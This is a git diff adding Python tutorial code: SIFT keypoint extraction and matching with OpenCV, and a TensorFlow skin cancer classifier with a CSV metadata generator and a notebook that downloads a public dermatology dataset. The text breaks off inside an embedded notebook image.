new file mode 100644
index 00000000..53de9ee9
--- /dev/null
+++ b/machine-learning/sift/README.md
@@ -0,0 +1,5 @@
+# [SIFT Feature Extraction using OpenCV in Python](https://www.thepythoncode.com/article/sift-feature-extraction-using-opencv-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- For feature keypoints extraction, use `sift.py`
+- For feature matching, use `feature_match.py`
\ No newline at end of file
diff --git a/machine-learning/sift/book.jpg b/machine-learning/sift/book.jpg
new file mode 100644
index 00000000..4aaff923
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diff --git a/machine-learning/sift/feature_match.py b/machine-learning/sift/feature_match.py
new file mode 100644
index 00000000..dd1f993e
--- /dev/null
+++ b/machine-learning/sift/feature_match.py
@@ -0,0 +1,29 @@
+import cv2
+
+# read the images
+img1 = cv2.imread('book.jpg')
+img2 = cv2.imread('table.jpg')
+
+# convert images to grayscale
+img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)
+img2 = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)
+
+# create SIFT object
+sift = cv2.xfeatures2d.SIFT_create()
+# detect SIFT features in both images
+keypoints_1, descriptors_1 = sift.detectAndCompute(img1,None)
+keypoints_2, descriptors_2 = sift.detectAndCompute(img2,None)
+# create feature matcher
+bf = cv2.BFMatcher(cv2.NORM_L1, crossCheck=True)
+# match descriptors of both images
+matches = bf.match(descriptors_1,descriptors_2)
+# sort matches by distance
+matches = sorted(matches, key = lambda x:x.distance)
+# draw first 50 matches
+matched_img = cv2.drawMatches(img1, keypoints_1, img2, keypoints_2, matches[:50], img2, flags=2)
+# show the image
+cv2.imshow('image', matched_img)
+# save the image
+cv2.imwrite("matched_images.jpg", matched_img)
+cv2.waitKey(0)
+cv2.destroyAllWindows()
\ No newline at end of file
diff --git a/machine-learning/sift/matched_images.jpg b/machine-learning/sift/matched_images.jpg
new file mode 100644
index 00000000..d762ef66
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diff --git a/machine-learning/sift/requirements.txt b/machine-learning/sift/requirements.txt
new file mode 100644
index 00000000..ba61942c
--- /dev/null
+++ b/machine-learning/sift/requirements.txt
@@ -0,0 +1,3 @@
+opencv-contrib-python==3.4.2.16
+opencv-python==3.4.2.16
+numpy
\ No newline at end of file
diff --git a/machine-learning/sift/sift.py b/machine-learning/sift/sift.py
new file mode 100644
index 00000000..ceb5aeed
--- /dev/null
+++ b/machine-learning/sift/sift.py
@@ -0,0 +1,18 @@
+import cv2
+
+# reading the image
+img = cv2.imread('table.jpg')
+# convert to greyscale
+gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
+# create SIFT feature extractor
+sift = cv2.xfeatures2d.SIFT_create()
+# detect features from the image
+keypoints, descriptors = sift.detectAndCompute(img, None)
+# draw the detected key points
+sift_image = cv2.drawKeypoints(gray, keypoints, img)
+# show the image
+cv2.imshow('image', sift_image)
+# save the image
+cv2.imwrite("table-sift.jpg", sift_image)
+cv2.waitKey(0)
+cv2.destroyAllWindows()
diff --git a/machine-learning/sift/table-sift.jpg b/machine-learning/sift/table-sift.jpg
new file mode 100644
index 00000000..4d1b4deb
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diff --git a/machine-learning/sift/table.jpg b/machine-learning/sift/table.jpg
new file mode 100644
index 00000000..91401dcf
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diff --git a/machine-learning/skin-cancer-detection/README.md b/machine-learning/skin-cancer-detection/README.md
new file mode 100644
index 00000000..7cba8558
--- /dev/null
+++ b/machine-learning/skin-cancer-detection/README.md
@@ -0,0 +1,7 @@
+# [Skin Cancer Detection using TensorFlow in Python](https://www.thepythoncode.com/article/skin-cancer-detection-using-tensorflow-in-python)
+To follow along, run:
+- `pip3 install -r requirements.txt`
+
+Full code is at:
+- Notebook: `skin-cancer-detection.ipynb`
+- Script: `skin-cancer-detection.py`
\ No newline at end of file
diff --git a/machine-learning/skin-cancer-detection/generate_metadata.py b/machine-learning/skin-cancer-detection/generate_metadata.py
new file mode 100644
index 00000000..31b9bd19
--- /dev/null
+++ b/machine-learning/skin-cancer-detection/generate_metadata.py
@@ -0,0 +1,46 @@
+import glob
+import os
+import argparse
+
+import pandas as pd
+
+
+def generate_csv(folder, labels):
+ folder_name = os.path.basename(folder)
+ # convert comma separated labels into a list
+ label2int = {}
+ if labels:
+ labels = labels.split(",")
+ for label in labels:
+ string_label, integer_label = label.split("=")
+ label2int[string_label] = integer_label
+
+ labels = list(label2int)
+ # generate CSV file
+ df = pd.DataFrame(columns=["filepath", "label"])
+ i = 0
+ for label in labels:
+ print("Reading", os.path.join(folder, label, "*"))
+ for filepath in glob.glob(os.path.join(folder, label, "*")):
+ df.loc[i] = [filepath, label2int[label]]
+ i += 1
+
+ df.to_csv(f"{folder_name}.csv")
+
+
+
+if __name__ == "__main__":
+ parser = argparse.ArgumentParser(description="CSV Metadata generator for skin cancer dataset from ISIC")
+ parser.add_argument("-f", "--folder", help="Dataset portion folder, e.g: /root/skin-disease/test and not the whole dataset",
+ required=True)
+ parser.add_argument("-l", "--labels", help="The different skin disease classes along with label encoding separated in commas, \
+ e.g: Binary classification between malignant and benign categories, something like this: \
+ nevus=0,seborrheic_keratosis=0,melanoma=1",
+ required=True)
+ # parse arguments
+ args = parser.parse_args()
+ folder = args.folder
+ labels = args.labels
+ # generate the CSV file
+ generate_csv(folder, labels)
+
diff --git a/machine-learning/skin-cancer-detection/requirements.txt b/machine-learning/skin-cancer-detection/requirements.txt
new file mode 100644
index 00000000..feb07c84
--- /dev/null
+++ b/machine-learning/skin-cancer-detection/requirements.txt
@@ -0,0 +1,8 @@
+tensorflow
+tensorflow_hub
+matplotlib
+numpy
+pandas
+seaborn
+sklearn
+imblearn
\ No newline at end of file
diff --git a/machine-learning/skin-cancer-detection/skin-cancer-detection.ipynb b/machine-learning/skin-cancer-detection/skin-cancer-detection.ipynb
new file mode 100644
index 00000000..9b6c6d1f
--- /dev/null
+++ b/machine-learning/skin-cancer-detection/skin-cancer-detection.ipynb
@@ -0,0 +1,1313 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": 1,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "N8Akx754oL8A",
+ "outputId": "f9d76e11-7a0a-49b8-f6c2-4c86dbdbf862"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Downloading data from https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip\n",
+ "864538487/864538487 [==============================] - 56s 0us/step\n",
+ "Extracting https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip\n",
+ "Downloading data from https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip\n",
+ "5736557430/5736557430 [==============================] - 489s 0us/step\n",
+ "Extracting https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip\n",
+ "Downloading data from https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip\n",
+ "5528640507/5528640507 [==============================] - 448s 0us/step\n",
+ "Extracting https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip\n"
+ ]
+ }
+ ],
+ "source": [
+ "import tensorflow as tf\n",
+ "import tensorflow_hub as hub\n",
+ "import matplotlib.pyplot as plt\n",
+ "import numpy as np\n",
+ "import pandas as pd\n",
+ "import seaborn as sns\n",
+ "from tensorflow.keras.utils import get_file\n",
+ "from sklearn.metrics import roc_curve, auc, confusion_matrix\n",
+ "from imblearn.metrics import sensitivity_score, specificity_score\n",
+ "\n",
+ "import os\n",
+ "import glob\n",
+ "import zipfile\n",
+ "import random\n",
+ "\n",
+ "# to get consistent results after multiple runs\n",
+ "tf.random.set_seed(7)\n",
+ "np.random.seed(7)\n",
+ "random.seed(7)\n",
+ "\n",
+ "# 0 for benign, 1 for malignant\n",
+ "class_names = [\"benign\", \"malignant\"]\n",
+ "\n",
+ "\n",
+ "def download_and_extract_dataset():\n",
+ " # dataset from https://github.com/udacity/dermatologist-ai\n",
+ " # 5.3GB\n",
+ " train_url = \"https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip/"\n",
+ " # 824.5MB\n",
+ " valid_url = \"https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip/"\n",
+ " # 5.1GB\n",
+ " test_url = \"https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip/"\n",
+ " for i, download_link in enumerate([valid_url, train_url, test_url]):\n",
+ " temp_file = f\"temp{i}.zip\"\n",
+ " data_dir = get_file(origin=download_link, fname=os.path.join(os.getcwd(), temp_file))\n",
+ " print(\"Extracting\", download_link)\n",
+ " with zipfile.ZipFile(data_dir, \"r\") as z:\n",
+ " z.extractall(\"data\")\n",
+ " # remove the temp file\n",
+ " os.remove(temp_file)\n",
+ "\n",
+ "# comment the below line if you already downloaded the dataset\n",
+ "download_and_extract_dataset()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 2,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "F1rReUjnoQdQ",
+ "outputId": "33322aa4-3680-40c6-869d-d49efbb39b81"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Reading data/train/nevus/*\n",
+ "Reading data/train/seborrheic_keratosis/*\n",
+ "Reading data/train/melanoma/*\n",
+ "Saving train.csv\n",
+ "Reading data/valid/nevus/*\n",
+ "Reading data/valid/seborrheic_keratosis/*\n",
+ "Reading data/valid/melanoma/*\n",
+ "Saving valid.csv\n",
+ "Reading data/test/nevus/*\n",
+ "Reading data/test/seborrheic_keratosis/*\n",
+ "Reading data/test/melanoma/*\n",
+ "Saving test.csv\n"
+ ]
+ }
+ ],
+ "source": [
+ "# preparing data\n",
+ "# generate CSV metadata file to read img paths and labels from it\n",
+ "def generate_csv(folder, label2int):\n",
+ " folder_name = os.path.basename(folder)\n",
+ " labels = list(label2int)\n",
+ " # generate CSV file\n",
+ " df = pd.DataFrame(columns=[\"filepath\", \"label\"])\n",
+ " i = 0\n",
+ " for label in labels:\n",
+ " print(\"Reading\", os.path.join(folder, label, \"*\"))\n",
+ " for filepath in glob.glob(os.path.join(folder, label, \"*\")):\n",
+ " df.loc[i] = [filepath, label2int[label]]\n",
+ " i += 1\n",
+ " output_file = f\"{folder_name}.csv\"\n",
+ " print(\"Saving\", output_file)\n",
+ " df.to_csv(output_file)\n",
+ "\n",
+ "# generate CSV files for all data portions, labeling nevus and seborrheic keratosis\n",
+ "# as 0 (benign), and melanoma as 1 (malignant)\n",
+ "# you should replace \"data\" path to your extracted dataset path\n",
+ "# don't replace if you used download_and_extract_dataset() function\n",
+ "generate_csv(\"data/train\", {\"nevus\": 0, \"seborrheic_keratosis\": 0, \"melanoma\": 1})\n",
+ "generate_csv(\"data/valid\", {\"nevus\": 0, \"seborrheic_keratosis\": 0, \"melanoma\": 1})\n",
+ "generate_csv(\"data/test\", {\"nevus\": 0, \"seborrheic_keratosis\": 0, \"melanoma\": 1})"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 3,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "lQoAcq2xobGA",
+ "outputId": "2118e9ab-4bab-4f20-a61e-9a5ace18ce1b"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Number of training samples: 2000\n",
+ "Number of validation samples: 150\n"
+ ]
+ }
+ ],
+ "source": [
+ "# loading data\n",
+ "train_metadata_filename = \"train.csv\"\n",
+ "valid_metadata_filename = \"valid.csv\"\n",
+ "# load CSV files as DataFrames\n",
+ "df_train = pd.read_csv(train_metadata_filename)\n",
+ "df_valid = pd.read_csv(valid_metadata_filename)\n",
+ "n_training_samples = len(df_train)\n",
+ "n_validation_samples = len(df_valid)\n",
+ "print(\"Number of training samples:\", n_training_samples)\n",
+ "print(\"Number of validation samples:\", n_validation_samples)\n",
+ "train_ds = tf.data.Dataset.from_tensor_slices((df_train[\"filepath\"], df_train[\"label\"]))\n",
+ "valid_ds = tf.data.Dataset.from_tensor_slices((df_valid[\"filepath\"], df_valid[\"label\"]))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 4,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "xeC2ooEJodFF",
+ "outputId": "b13fe41a-2f0b-4c1c-83d8-e70ee79c7b9d"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Image shape: (299, 299, 3)\n",
+ "Label: 0\n"
+ ]
+ }
+ ],
+ "source": [
+ "# preprocess data\n",
+ "def decode_img(img):\n",
+ " # convert the compressed string to a 3D uint8 tensor\n",
+ " img = tf.image.decode_jpeg(img, channels=3)\n",
+ " # Use `convert_image_dtype` to convert to floats in the [0,1] range.\n",
+ " img = tf.image.convert_image_dtype(img, tf.float32)\n",
+ " # resize the image to the desired size.\n",
+ " return tf.image.resize(img, [299, 299])\n",
+ "\n",
+ "\n",
+ "def process_path(filepath, label):\n",
+ " # load the raw data from the file as a string\n",
+ " img = tf.io.read_file(filepath)\n",
+ " img = decode_img(img)\n",
+ " return img, label\n",
+ "\n",
+ "\n",
+ "valid_ds = valid_ds.map(process_path)\n",
+ "train_ds = train_ds.map(process_path)\n",
+ "# test_ds = test_ds\n",
+ "for image, label in train_ds.take(1):\n",
+ " print(\"Image shape:\", image.shape)\n",
+ " print(\"Label:\", label.numpy())"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 5,
+ "metadata": {
+ "id": "HTOYEZK3ogUP"
+ },
+ "outputs": [],
+ "source": [
+ "# training parameters\n",
+ "batch_size = 64\n",
+ "optimizer = \"rmsprop\""
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 6,
+ "metadata": {
+ "id": "iG71Bw2EohfN"
+ },
+ "outputs": [],
+ "source": [
+ "def prepare_for_training(ds, cache=True, batch_size=64, shuffle_buffer_size=1000):\n",
+ " if cache:\n",
+ " if isinstance(cache, str):\n",
+ " ds = ds.cache(cache)\n",
+ " else:\n",
+ " ds = ds.cache()\n",
+ " # shuffle the dataset\n",
+ " ds = ds.shuffle(buffer_size=shuffle_buffer_size)\n",
+ "\n",
+ " # Repeat forever\n",
+ " ds = ds.repeat()\n",
+ " # split to batches\n",
+ " ds = ds.batch(batch_size)\n",
+ "\n",
+ " # `prefetch` lets the dataset fetch batches in the background while the model\n",
+ " # is training.\n",
+ " ds = ds.prefetch(buffer_size=tf.data.experimental.AUTOTUNE)\n",
+ "\n",
+ " return ds\n",
+ "\n",
+ "\n",
+ "valid_ds = prepare_for_training(valid_ds, batch_size=batch_size, cache=\"valid-cached-data\")\n",
+ "train_ds = prepare_for_training(train_ds, batch_size=batch_size, cache=\"train-cached-data\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 7,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 699
+ },
+ "id": "nNsK1uemoi7C",
+ "outputId": "98e375fc-0260-49c7-f1e9-2d281c3255b6"
+ },
+ "outputs": [
+ {
+ "data": {
+ "image/png": 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